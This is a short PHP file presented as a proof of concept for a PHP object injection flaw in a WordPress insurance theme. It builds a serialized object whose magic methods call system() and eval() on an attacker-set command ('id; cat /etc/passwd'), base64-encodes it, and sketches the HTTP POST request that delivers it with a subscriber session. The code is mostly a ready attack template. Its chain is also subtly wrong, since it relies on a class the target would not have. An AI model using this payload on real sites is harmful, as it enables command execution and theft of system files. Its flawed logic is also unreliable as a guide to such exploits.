<?php
// CVE-2025-31634 - designthemes Insurance Theme PHP Object Injection PoC
// Vulnerability: Deserialization of Untrusted Data allowing Object Injection
// Affected: Insurance theme <= 3.5
// Example malicious serialized payload leveraging PHP magic methods
// This is a conceptual PoC showing the attack vector
class MaliciousObject {
public $command;
public function __wakeup() {
// Triggered during unserialize() - executes arbitrary code
if (isset($this->command)) {
system($this->command);
}
}
public function __destruct() {
// Triggered when object is garbage collected
if (isset($this->command)) {
eval($this->command);
}
}
}
// Construct malicious serialized object
$payload = new MaliciousObject();
$payload->command = "id; cat /etc/passwd";
// Serialize the payload
$serialized = serialize($payload);
echo "Malicious payload: " . $serialized . "\n";
// Base64 encode for HTTP transmission
$encoded = base64_encode($serialized);
echo "Base64 encoded: " . $encoded . "\n";
// Example HTTP request to exploit the vulnerability:
/*
POST /wp-admin/admin-post.php HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_[hash]=<subscriber_session_cookie>
Content-Length: [length]
action=[vulnerable_action]&serialized_data=[base64_encoded_payload]
*/
// Note: Real exploitation requires:
// 1. A valid subscriber-level WordPress account
// 2. Knowledge of the specific vulnerable endpoint and parameter
// 3. A POP chain compatible with the theme's loaded classes
